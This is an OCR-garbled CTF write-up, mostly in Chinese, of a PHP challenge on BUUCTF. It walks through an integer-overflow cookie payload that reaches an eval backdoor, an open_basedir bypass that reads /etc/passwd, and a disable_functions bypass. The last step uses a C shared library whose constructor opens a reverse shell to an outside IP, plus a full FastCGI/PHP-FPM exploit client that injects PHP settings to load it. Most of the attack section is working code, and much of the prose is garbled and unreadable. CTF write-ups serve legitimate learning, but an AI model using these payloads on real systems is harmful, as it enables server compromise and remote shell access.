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2.4431 open_basedir..

2.1 fEF disable_functiont® it T FH A i) R £5isk B e 75«

211 Bl , , , R, ERA FRBRE.

2.1.2 “show_source('/proc/selficmdline’); 3B 24§ & 3 #EFR (0 58 B A &

2.1.3 “print_r(scandir('/proc/selficwd")); 3B B A7 L aT #2817 H F 5 B & B A
2.1.4 “show_source(/proc/selflexe'); 3k 18 4 T R I AT BAT U e B BR 12 -

2.1.5 “show_source(/proc/selflenviron'); KB 24 B #1535 &

3. R

3.1 #&#:
3.2 B S IS B R

WP: https:/mp.weixin.qq.com/s/RytU2DZEjsuODeHy3JvBcg
Z. FARKES E:
=. Z3JWP:

LTI, PINPHPIE:
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user.php:

class User
public

?>

add_api.php

include "user.php"

if =unserialize "data"

++ ->count]=1 // FHScount BIFEL1NE MR (E 1
if =1

->count+=1

setcookie("data",serialize
else

eval "backdoor"

else

=new User

->count=1
setcookie("data",serialize

// $_COOKIE["data"]HIBtIAfEA 0:4:"User":1:{s:5: " "count";i:1;}
?>

RAEICH, RERSGEHESITH $count[]=1 BIAIHAZIE KT eval RIGHATAL . HERXER-MREERN (—MEFES) ,
FFEBEERT, FroEZE A E ERR B #R R True:

D:\cmder
A php -a
Interactive shell

php > var_dump($count[]=1);
int{1)
php > |

HRBIEENE] else A FIARTIHATHBL T, HRNEEBI/ESLIXE,
1.PHP% 40 %

e PHP 1, BRHRE -NGEM, X TF3206MBIERSR, BRAMEBERR2147483647, EI20931IKT7, ®m/ANA-28931KTF7. W
RAEBH—MNELHEH TER (integer) MTEHE, ¥2BMBEANZFAE (foad) . FFEMRPITHEES REN 78
(integer) ViR, W&RENFEEE (float) .



o_Adam

WITREERR:

o_Adam

BREEXALRE? HINBEETE

EIMSRE, BHRNETURAZ-—mFET .

payload:



0:4:"User":1:{s:5:"count";1:9223372036854775806; }

| GET /add api. php?backdoor=phpinfo(); HTTP/1.1 t
> Host: 90cb484d-73ce—-44b5-9d04-4al0¢ lcc456d. noded. buuoj. cn
} User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0)

Gecko/20100101 Firefox/88.0
I Accept:

text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, */%; q=0

.8
Accept—-Language:

zh—CN, zh; ¢=0. 8, zh-TW; ¢=0. 7, zh-HK; q=0. 5, en-US; ¢=0. 3, en; ¢=0. 2

Accept—-Encoding: gzip, deflate
i Connection: close
$ Cookie: UM distinetid=

175e63edc185ac—01732¢5281e465-4¢312678-144000-175e63edc19321; data=
B % 3a%h34%3a%22%55% T 3%65%T2%22%3a%3 1%3a%ThhT3%3a%35%3a%22%63%6 % T5%06e% T4
%22%3b%69%3a%h39%32%32%3 3%33%3THI2%30%33%36%38%35%34%3 7%3THh35%38%30%36%3b

%7d

———

FEphpinfo(); XFANEMZE, I HIEH open_basedir : /var/www/html .

\-I'EIGIJII._IIIIIIIEI,"J'E

LCALfTILIIn

PP e classes

Exception,SplDoublyLinkedList,Error,ErrorExcepti
ArgumentCountError,ArithmeticError,AssertionEr
DivisionByZeroError,CompileError,ParseError, Typ
ror,ValueError,UnhandledMatchError,ClosedGene
orException,LogicException,BadFunctionCallExce
on,BadMethodCallException,DomainException,Ir
dArgumentException,LengthException,OutOfRar
Exception,PharException,ReflectionException,Rur
meException,OutOfBoundsException,OverflowEx
tion,PDOException,RangeException,UnderflowEx
tion,UnexpectedValueException,JsonException,5i
umException Exception,SplDoublylinkedList,Er
ErrorException, ArgumentCountError,ArithmeticE
JAssertionError,DivisionByZeroError,CompileErrol
rseError, TypeError,ValueError,UnhandledMatchEi
ClosedGeneratorException,LogicException,BadFu
ionCallException,BadMethodCallException,Dome
xception,InvalidArgumentException,LengthExcef
n,OutOfRangeException,PharException,Reflectiol
ception,RuntimeException,OutOfBoundsExceptic
OverflowException,PDOException,RangeExceptic
nderflowException,UnexpectedValueException,Js
Exception,SodiumException

FP="le functions

2.5%5¢ open_basedir..

stream_socket client,fsockopen,putenv,pentl ala
pentl_fork pentl waitpid,pentl wait,pentl wifexite
cntl wifstopped,pentl_wifsignaled, pentl_wifcontii
d,pcntl_wexitstatus,pentl_ wtermsig, pentl_wstopsi
cntl_signal,pcntl signal_get handler,pentl signal
patch,pcntl_get last_erroi,pcntl_strerror,penti_sic



mbasedir Svar/www/html Svarfwww/html

BT open_basedir, REEViIE Web H3%, {HIERATAT LARIH chdir()5ini_set()4 &k %¢id open_basedir:

<?php

mkdir('Von'); //&)&—1HRVon

chdir('Von'); //J#ZNon HFTF

ini_set('open_basedir','..'); //#Zopen_basedir t]#Z /5 HF

chdir('.."); //UTX=AEHHR#TIREF

chdir('..");

chdir('..");

ini_set('open_basedir','/"); //®&open basedir iR HR(MATH2% F KA & Eopen_basedir)
echo file_get_contents('/etc/passwd'); //EH/etc/passwda

mkdir('Von');chdir('Von');ini_set('open_basedir',"'..");chdir('..");chdir("'..");chdir('..");ini_set('open_basedir
','/");echo%20file_get_contents('/etc/passwd"');

2.1 f£ F disable_functioni® i T F F4th £y 2R #5052 B 1a) 25 -

?s=print_r(readfile('../etc/hosts"))
?s=print_r(fopen('../etc/hosts','r"))

e wane | isauss | iea | prem| nsausia | o | neiue |
| GET /add_api. php?backdoor= : I HTTP/1.1 200 OK
mkdir("Von');chdir('Von");ini set('open basedir','.."):chdir('..");chdir 2 Server: openresty
("..")sehdir('.. ") ini set('open basedir','/');echo%20file get contents( 3 Date: Wed, 12 May 2021 06:34:20 GMT
1

' fete/passwd'); HTTP/1.1

Host: 9eTccTad-ba8d-4elb-83b4-6651878fa425. node3d. buuoj. cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:88.0)
Gecko/20100101 Firefox/88.0

Accept: 8
text/html,application/shtml+xml,application/xml;q=0.9, image/webp, */%; q=0 ¢
.8

Accept—Language:

zh—CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; g=0. 2
iy Accept-Encoding: gzip, deflate n
Connection: close

Content-Type: text/html; charset=UTF-8
Connection: close

X—Powered-By: PHP/7.4.16
Content-Length: 926

[}

3w

..
o

o =1

root:x:0:0: root: /root: /bin/bash

daemon: x: 1:1:daemon: /usr/sbin: /usr/shin/nologin
bin:x:2:2:bin: /bin: /usr/shin/nologin

2 sys:x:3:3:sys: /dev: /usr/sbin/nologin

3 sync:x:4:65534: syne: /bin: /bin/syne

games: x:5:60;: games: /usr/games: /usr/sbin/nologin

ol

o

-3

W L oo

3 Cookie: UM distinctid= 5 man: x:6:12: man: /var/cache/man: /usr/sbin/nologin
175e63edc185ac—-01732¢528(e465-1¢312678-144000-175e63edc19321; data= 16 1p:x:7:7:1p: /var/spool/lpd: /usr/sbin/nologin
H4r%3a%34%3a%22%05%73%65%72%22%3a%3 1%3a%Th%73%3a%35%3a%22%63%6 (%7 H%6e%T4 17 mail:x:8:8:mail:/var/mail: /usr/sbin/nologin
%22%3b%69%3a%39%32%32%33%33%37%32%30%33%36%38%35%34%37%37%35%38%30%36%3b 18 news: x:9:9:news: /var/spool/news: /fusr/shin/nologin
%7d 19 uuep: x: 10: 10:uuep: /var/spool /uuep: fusr/sbin/nolog

9 Upgrade—-Insecure—Requests: 1 20 proxy:x:13:13:proxy: /bin: /usr/sbin/nologin

10 Pragma: no-cache 21 www—data: x:33:33:www—data: /var/www: /usr/sbin/nolo

RN . REE—F RERMFAH.



A

§

GET /add api.php?backdoor=

mkdir ('Von') ;chdir ('Von');ini set('open basedir','..");chdir('..");chdir
("..");chdir('..");ini set('open basedir','/');print r(scandir('/'));
HTTP/1. 1

Host: 9eTccTad-ba8d-4elb-83b4-6651878fa425. node3. buuoj. cn

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0)
Gecko/20100101 Firefox/88.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */%; q=0
.8

Accept—Language:

zh—CN, zh; g=0. 8, zh—-TW; g=0. 7, zh—HK; q=0. 5, en-US; q=0. 3, en; g=0. 2
Accept—-Encoding: gzip, deflate

Connection: close

Cookie: UM distinctid=
175e63edc185ac—01732¢528fed65-4c312678-144000-175e63edc19321; data=

%4 fh3a%34%3a%b22%55%73%65%72%22%3a%3 1%3a%7h%73%3a%35%3a%22%63%6 f%75%6e%74
%h22%3b%69%3a%h39%32%32%33%33%37%32%30%33%36%38%35%34%37%37%35%38%30%36%3b
h7d

Upgrade-Insecure—-Requests: 1

Pragma: no—cache

Cache-Control: no-cache

211 k|, , , AR, BRA EHEBRIE.

XEHE, WM assertthiTshell. HEEREANBRIEHEM, , » AEFME, , , =T, AHERTA,

Wik, KT —T, FE A Reeval, R)5assert, assertflevalZéfl, HEassertihiT,

RIERFE—AIEREME, , win10_ EKshelliFE, EE Linux ERIBEAIT. -

e L3 DO —

ol

29
30
31
32
33
34

g
el

Array

(0] =
[1] =
[2] =
[3] =
[4] =
[5] =
6] =
[7] =
[8] =
(9] =>
[10] =>
[11] =
[12] =
[13] =
[14] =

i [15] =
c [16] =

[17] =
[18] =
[19] =
[20] =
[21] =
[22] =

. dockerenv
bin
boot
dev
ete
flag
home
lib
l1ib64
media
mnt
opt
proc
root
run
shin
Srv
SYSs
tmp
usr
var



'::/(—\:' - G @ ‘ ©0 Iocalhostfshell.php?cmd:echo"sdil':assert("asdf.phpinfo().lse"}; |
[B welcome : Damn V... () Adam-Zero @) B=#FE% BSWE-CSDNigzE Online regex tester ... linuxhEREZEELD P... @) Hello
# | Time Memory Function Loca
1 0.0002 386552 | {main}() -\shi
2 0.0002 387256 | eval( 'D:\phpStudy\PHPTutoriaN\WWW \shell.php(2) : eval()'d code ) - Ashu
3 0.0002 387256 | assert( $assertion = 'asdf.phpinfo().lse") Ashi
4 0.0003 388072 | {internal eval}() -\shi
System Windows NT LAPTOP-5702539F 10.0 build
Build Date Jan 4 2018 03:59:32
HEREFEKRIAT flag.

2 {F H file_get contents() &5 MR BUE BRI, FHMR H AR A X lag RIS R i T FR &l . FRRATER BB IMEIRI T, (HRAEIRN

M2 B shelifTdr 4, HELR B E st disable_functions.
WABEERERER, BEHLMBI M

show_source('/proc/self/cmdline");

2.1.2 show_source('/proc/self/cmdline"); FKE 2 /i ja sh#EE ) 58 i f &

— ]

GET /add_api. php?backdoor=

mkdir ("Von');echdir('Von');ini set('open basedir','.."');chdir('..");chdir
('..");chdir('..");ini set('open basedir','/');show source ('|[/proc/self/c
mdline'); HTTP/1.1

Host: 9eTccTald-baBd—4elb—-83b4-66518768fa425. noded. buuoj. cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0)
Gecko,/20100101 Firefox/88.0

| Accept:
text/html,application/xhtml+xml,application/xml;g=0.9, image/webp, */%; q=0
.8

Accept—Language:

zh—CN, zh; g=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; g=0. 2

XEE2 T php-fpm

'

| HTTP/1.1 200 OK

2 Server: openresty

3 Date: Wed, 12 May 2021 07:06:01 GMT
1 Content-Type: text/html; charset=UTF-8
5 Connection: close

6 X-Powered-By: PHP/7.4. 16

7 Content-Length: 79

8

9 {code>

<span style="color: #000000">

10 php-—fpm:&nbsp; pool&nbsp; www</span>
11 </code>

2.1.3 print_r(scandir('/proc/self/cwd")); JREH iz LAT2EEKET HR 5 B3 BK 30



GET /add api.php?backdoor=

mkdir("Von');chdir ("Von');ini_set('open basedir’,'.."');chdir('..");chdir
("..");ehdir("..");ini set('open basedir','/'):print r(scandir('/proc/se
1f/cwd")); HTTP/1.1

Host: YeTccTa3d3—baBd-4elb—-83b4-66518781a425. noded. buuoj. cn

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0)
Gecko/20100101 Firefox/88.0

[T LR % g

o N

-]

HTTP/1.1 200 OK

Server: openre
Date: Wed,
Content—Type:
Connection: cl
X-Powered-By:

st

12 Ma

Le
0s

FH

Content—-Length:

Accept: 8
text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*; q=0 9 Array

.8 10| (
Accept-Language: 11 [o] =

zh—CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; g=0. 5, en-US; q=0. 3, en; g=0. 2 12 [1] => .
Accept-Encoding: gzip, deflate 13 [2] => backups
Connection: close 11 [3] => cache
Cookie: UM distinctid= 15 [4] => 1lib
175eb63edec1B85ac—01732ch281edb65-4c312678-144000-175e63edc19321; data= 16 [5] => loeal
B %3ah34%3a%22%55% T 3%65%T2%22%3a%3 1%3a%7Th% T 3%3a%35%3a%22%63%6 fHhT5%6e% 7 4 17 [6] => lock
%22%3b%69%3a%39%32%32%33%33%37%32%30%33%36%38%35%34%37%37%35%38%30%36%3b 18 [7] => log
%7d 19 [8] => mail
Upgrade—Insecure—-Requests: 1 20 [9] => opt

Pragma: no-cache
Cache—Control: no-cache

21 [10] => run

22 [11] => spool
23 [12] => tmp
24 [13] => www
25 )

2.1.4 show_source('/proc/self/exe"); K75 2 a2 2 M ol P47 LA SE B BE 45 -

BAMARENM 21X 2 ZELG,

2.1.5 show_source('/proc/self/environ'); K Y ai SHIEL &

M Params THeaders THex 1

e

M Headers THex TRender 1

I GET /add Elpl php?backdoor=

mkdir('Von');chdir('Von');ini_set('open_basedir','.."');chdir('..

(".."):chdir('..");ini set('open basedir','/'):show source('/proc/self/e
xe'); HTTR/1.1
2 Host: 9e7ccTad-ba8d—4elb-83b4-66518781a425. noded. buuo j. en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Gecko/20100101 Firefox/88.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */%; q=0
.8

Accept—Language:

zh—CN, zh; g=0. 8, zh—TW; g=0. 7, zh—HK; g=0.
Accept—Encoding: gzip, deflate
Connection: close

Cookie: UM distinctid=

B R R

("

x64; rv:88.0)

1

5,en-US;g=0. 3, en; g=0. 2

=l

AAFAN FAAS AfAF 4 A SANRA 1A ARAN 1RE A0 T 4nnaa

3. FARE B
L H IPHP SR S0E L T LA T AW

e disable_functions:

"Y:chdir [

br />

1"%" (%, 257: ; 2@ADHILPTVY[] egilptxz]
4jj009\C; 2000 0m) OO OO+
o o o I T ¢
$uj OO ;200 O0O0OOu00iac
0 7 Y ) Y T
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stream_socket _client fsockopen,putenv,pcntl_alarm,
pentl_fork,pcntl waitpid, pentl_wait, pentl_wifexited,p
cntl_wifstopped,pentl_wifsignaled, pentl_wifcontinue
d,pentl wexitstatus,pentl wtermsig,pentl wstopsig,p
cntl_signal,pentl_signal_get_handler,pcntl_signal_dis
patch,pentl_get last_error,pentl_strerror,pentl_sigpro
cmask,pentl_sigwaitinfo,pentl_sigtimedwait,pentl_ex
ec,pentl_getpriority,pentl_setpriority,pentl_async sig
nals,iconv,system,exec,shell_exec,popen,proc_open,
passthru,symlink.link,syslog,imap_open,dl,mail error
_log,debug_backtrace,debug_print_backtrace,gc_coll
ect_cycles,array_merge_recursive

stream_socket client,fsockopen,putenv,pcntl_alarm,
pentl_fork,pentl_waitpid, pentl wait, pentl_wifexited,p
cntl_wifstopped,pentl_wifsignaled,pentl_wifcontinue
d,pentl wexitstatus,pentl wtermsig,pentl wstopsig,p
cntl_signal,pentl_signal_get_handler,pentl_signal_dis
patch,pentl_get last_error,pentl_strerror,pentl_sigpro
cmask,pentl_sigwaitinfo,pentl_sigtimedwait,pentl_ex
ec,pentl_getpriority,pentl_setpriority,pentl_async_sig
nals,iconv,system,exec,shell_exec,popen,proc_open,
passthru,symlink,link,syslog,imap_open,dl,mail.error
_log,debug_backtrace,debug_print_backtrace,gc_coll
ect_cycles,array_merge_recursive

Ty T ZHa S HATE S, ERH scandir. file_get contents. file put_contents £ H A1 SC/E# 1 R 0 A T U8,

e open_basedir, R A&Vl Web H3%, HIRATALAFIHchdir()Sini_set()4H &K 51T open_basedir:

memory_limit 128M 128M
_ Mvarfwww/html Svarfwww/html
output_buffering 4096 4096

?backdoor=mkdir('Von");chdir('Von');ini_set('open_basedir',"

en_basedir','/");var_dump(scandir('/"));

EREFEKIAT flag.

..")schdir(tL Lt

)s;chdir('..");chdir('..");ini_set('op

ZAEH file_get_contents() 55 B Hit BN R,  J5 0 22 R\ X flag BB R T PR o ARERATmE AR IMESRAN T, (HRE R

M h 7S E B shelifT a4, MR B/ E /S iddisable_functions.
XER T IR % rikseiddisable_functions¥ kM, X LE /proc/selflcmdline B &I 24 /i #EF2 & php-fom:
BT DA 563X 38 R % w2 38 i B php-fpm Sk 4éid disable_functions 7. ! ! ! !

BB Engindic B S0

show_source('/etc/nginx/nginx.conf");
show_source('/etc/nginx/sites-available/default’');
show_source('/etc/php/7.4/fpm/pool.d/www.conf ') # XPRERE, HFseit—R—Fls HFUHRHET,

location /
¥ First attempt to serve reguest as file, then
# as directorv, then fall back to displaving a2 404.
try filea Suri furi/ =404:

£ pass PHP scripts to FastlGI server
£
logcation ~ “.phps {
oot ntml;
¢ faatcgi pass 127.0.0.1:59001: 4
faztogi index  index.php:
fagtogi param SCRIPT FILENAZME /var/www/html/$fastcgi script name:
include fast :gz_params : - -

].

KIL PHP-FPM 4852 7E 7 4<# 9001 %% 1 L.



XHERSSRF, NREZEAKMLSSRFFHA, Heurl, AL,

W7, BERAREAIA LA eval() $ATEERMG, FEAVER DUWEEERLEHITSSRF , FHSSRFE T AHF PHP-FPM ,
fITAT LUBETE vps L EERN fip , WEXENUR payload # K 2IH S 9001 30k, MiisEB Bt PHP-FPM FE#U4Tdr 4,

R R I file_get_contetns() , file_put_contents() , XFHHIHE

B S LA Fe3CfF hpdoger.c i —AMEEN so ¥ B, XEEZAN EEH AT 5.

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1""

3BT shared fiy 44 i%:

gcc hpdoger.c -fPIC -shared -o hpdoger.so

25 hpdoéer.sm

https://blog.csdn.n ero_Adam

R G WA R hpdoger.so BAER| B AR ENL (FRIXE LAAEF imp B3, RTLMER copy('http://vps/hpdoger.so' ,
' /tmp/hpdoger.so') )

M) AT, AR payload:

* Note : Code 1s released under the GNU LGPL
* Please do not change the header of this file

* This Llibrary 1s free software; you can redistribute it and/or modify it under the terms of the GNU
* lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any Llater version.

* This Llibrary 1is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*


https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php

* @author PierrickR Charron <pierrick@webstart. fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 =
const BEGIN_REQUEST =
const ABORT_REQUEST =
const END_REQUEST =
const PARAMS =
const STDIN =
const STDOUT =
const STDERR =
const DATA =
const GET_VALUES =
const GET_VALUES_RESULT =
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER =
const AUTHORIZER =
const FILTER =
const REQUEST_COMPLETE =
const CANT_MPX_CONN =
const OVERLOADED =
const UNKNOWN_ROLE =
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS";
const HEADER_LEN = 8;
Vi
* Socket
* @var Resource
*/
private $ sock
/**
* Host
* @var String
*/
private $ host
/**
* Port
* @var Integer
4
private $ port = null;
/**
* Keep Alive
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null;

* @var Boolean
*/
private $ keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __ construct($host, $port = 9001) // and default value for port, just for unixdomain socket

{
$this->_host = $host;
$this->_port = $port;



/**
* Define whether or not the FastCGI application should keep the connection
* aglive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)

{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive & $this->_sock) {
fclose($this->_sock);
}
}
/**

* Get the keep alive status
*

* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()

{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!'$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!'$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
¥
¥
¥
/**

* Build a FastCGI packet

*

* @param Integer $type Type of the packet

* @param String $content Content of the packet
* @param Integer $requestId RequestId

*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_ 1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & OxFF) /* requestIdB1 */
. chr($requestId & OxFF) /* requestIdBo */
. chr(($clen >> 8 ) & OxFF) /* contentlLengthBl */
. chr($clen & OxFF) /* contentlLengthBo */
. chr(9) /* paddinglLength */
. chr(9) /* reserved */
. $content; /* content */
}
/**

* Build an FastCGI Name value pair
*

* @param String $name Name



* @param String $value Value
* @return String FastCGI Name value pair

*/

private function buildNvpair($name, $value)

{

$nlen = strlen($name);
strlen($value);
if ($nlen < 128) {

/* namelLengthBo */

chr($nlen);

$vlen =

$nvpair =
} else {

/* namelengthB3 & namelengthB2 & namelLengthBl & namelLengthBo */

$nvpair =

en & OxFF);

}

if ($vlen < 128) {
/* valuelengthBo */
$nvpair .= chr($vlen);

} else {

/* valuelengthB3 & valuelLengthB2 & valuelengthB1l & valuelengthBo */
chr(($vlen >> 24) | ox80) . chr(($vlen >> 16) & OxFF) .

$nvpair .=

len & OxFF);

}

/**

}
/* nameData & valueData */
return $nvpair

. $name . $value;

* Read a set of FastCGI Name value pairs

*

* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair

*/

private function readNvpair($data, $length = null)

{

J/k*k

$array = array();
if ($length === null) {
$length = strlen($data);

¥
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & OX7F << 24);
$nlen |= (ord($data{$p++}) <<
$nlen |= (ord($data{$p++}) <<
$nlen |= (ord($data{$p++}));
¥
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & OX7F << 24);
$vlen |= (ord($data{$p++}) <<
$vlen |= (ord($data{$p++}) <<
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] =
$p += ($nlen + $vlen);
}

return $array;

16);
8);

16);
8);

substr($data, $p+$nlen, $vlen);

chr(($nlen >> 24) | ox80) . chr(($nlen >> 16) & OxFF) . chr(($nlen >> 8) & OxFF) . chr($nl

chr(($vlen >> 8) & OXFF) . chr($v



* Decode a FastCGI Packet
*

* @param String $data String containing all the packet
* @return array

*/

private function decodePacketHeader($data)

{
$ret = array();
$ret[ 'version'] = ord($data{e});
$ret[ 'type'] = ord($data{1});
$ret[ 'requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret[ 'contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret[ 'paddingLength'] = ord($data{6});
$ret[ 'reserved'] = ord($data{7});
return $ret;

}

VAL

* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;

}
if ($resp['paddingLength’]) {
$buf=fread($this->_sock, $resp['paddinglLength']);
}
return $resp;
} else {
return false;

}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)

{

$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {



throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT'");

¥
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)

{

$response = g
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(®) . chr(self::RESPONDER) . chr((int) $this->_kee
pAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
¥
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
¥
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
¥
$request .= $this->buildPacket(self::STDIN, '');
echo('data=".urlencode($request));

// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp[ 'content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp) ;
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp[ 'content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::0OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php

// real exploit start here
//1if (!isset($_REQUEST['ecmd'])) {

/7 Aiol"Chorb \vniir Annit\n") .
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//}
//if (!isset($_REQUEST[ 'filepath'])) {
// $filepath = __FILE ;

//}else{
// $filepath = $ REQUEST[ 'filepath'];
//}

$filepath = "/var/www/html/add_api.php"; /7 BREYLERHIPHP I 1F 15 12
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami'; /! FEHTE, THE
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; /] e, THE
$php_value = "unserialize callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes
= \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
"GATEWAY_INTERFACE' => 'FastCGI/1l.0',

"REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
"SCRIPT_NAME' => $req,
"QUERY_STRING' => 'command=whoami',
"REQUEST_URT" => $uri,
'DOCUMENT_URT" => $req,
#'DOCUMENT_ROOT ' ="/,
'PHP_VALUE" => $php_value,
'SERVER_SOFTWARE " => '8@sec/wofeiwo"’,
'REMOTE_ADDR' => '127.0.0.1",
'REMOTE_PORT" => '9001"',
'SERVER_ADDR' => '127.0.0.1",
'SERVER_PORT" => '80',
'SERVER_NAME* => 'localhost’,
'SERVER_PROTOCOL ' => 'HTTP/1.1",
"CONTENT_LENGTH' => strlen($code)

)
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
<?php
/**
* Note : Code 1s released under the GNU LGPL

*

* Please do not change the header of this file

*

* This Llibrary 1s free software; you can redistribute it and/or modify it under the terms of the GNU
* lesser General Public License as published by the Free Software Foundation; either version 2 of

* the License, or (at your option) any Llater version.

* This Llibrary is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0

*/



class FCGIClient
{

const VERSION_1 =
const BEGIN_REQUEST =
const ABORT_REQUEST =
const END_REQUEST =
const PARAMS =
const STDIN =
const STDOUT =
const STDERR =
const DATA =
const GET_VALUES =
const GET_VALUES_RESULT =
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER =
const AUTHORIZER =
const FILTER =
const REQUEST_COMPLETE =
const CANT_MPX_CONN =
const OVERLOADED =
const UNKNOWN_ROLE =
const MAX_CONNS = "MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = "MPXS_CONNS';
const HEADER_LEN = 8);
Jx*

* Socket

* @var Resource

*/
private $ sock
/**

* Host

* @var String

*/
private $ host
/**

* Port

* @var Integer

*/
private $ port = null;
/**

* Keep Alive
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* @var Boolean
*/
private $ keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**

* Define whether or not the FastCGI application should keep the connection

X Al diiA At A AanmA AL A vmAmiiA~ -+~
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*

* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)

{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive & $this->_sock) {
fclose($this->_sock);
}
}
/**

* Get the keep alive status
*

* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()

{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!'$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
¥
¥
¥
/**

* Build a FastCGI packet

*

* @param Integer $type Type of the packet

